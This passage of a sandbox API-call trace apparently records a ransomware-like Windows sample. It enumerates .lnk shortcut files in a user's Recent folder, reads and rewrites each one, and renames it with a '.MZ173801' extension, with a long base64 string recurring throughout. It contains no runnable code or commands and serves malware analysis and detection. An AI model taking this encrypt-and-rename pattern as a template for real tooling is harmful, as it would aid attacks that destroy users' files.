wMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dO Q3c1HB9zkLz M.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\do q3c1hb9zklz m.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.092] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.092] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.092] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa79 [0121.092] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.092] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa79, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa79, lpOverlapped=0x0) returned 1 [0121.093] CloseHandle (hObject=0x288) returned 1 [0121.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dO Q3c1HB9zkLz M.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\do q3c1hb9zklz m.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.095] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa79, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa79, lpOverlapped=0x0) returned 1 [0121.096] CloseHandle (hObject=0x288) returned 1 [0121.097] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dO Q3c1HB9zkLz M.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\do q3c1hb9zklz m.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dO Q3c1HB9zkLz M.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\do q3c1hb9zklz m.lnk.mz173801")) returned 1 [0121.098] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc3aa60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfae05a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfae05a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x979, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="DUXhHjPx_fpD.lnk", cAlternateFileName="DUXHHJ~1.LNK")) returned 1 [0121.098] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.098] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.098] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUXhHjPx_fpD.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\duxhhjpx_fpd.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc3aa60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfae05a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfae05a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x979)) returned 1 [0121.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.112] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUXhHjPx_fpD.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\duxhhjpx_fpd.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.113] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.113] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.113] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x979 [0121.113] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.113] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x979, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x979, lpOverlapped=0x0) returned 1 [0121.114] CloseHandle (hObject=0x288) returned 1 [0121.114] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUXhHjPx_fpD.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\duxhhjpx_fpd.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.118] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x979, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x979, lpOverlapped=0x0) returned 1 [0121.119] CloseHandle (hObject=0x288) returned 1 [0121.120] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUXhHjPx_fpD.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\duxhhjpx_fpd.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DUXhHjPx_fpD.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\duxhhjpx_fpd.lnk.mz173801")) returned 1 [0121.121] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb41540, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdeb41540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdeb41540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xec1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Dw5RNx3tyh2O9iG.mkv.lnk", cAlternateFileName="DW5RNX~1.LNK")) returned 1 [0121.121] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.121] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.121] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Dw5RNx3tyh2O9iG.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dw5rnx3tyh2o9ig.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb41540, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdeb41540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdeb41540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xec1)) returned 1 [0121.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2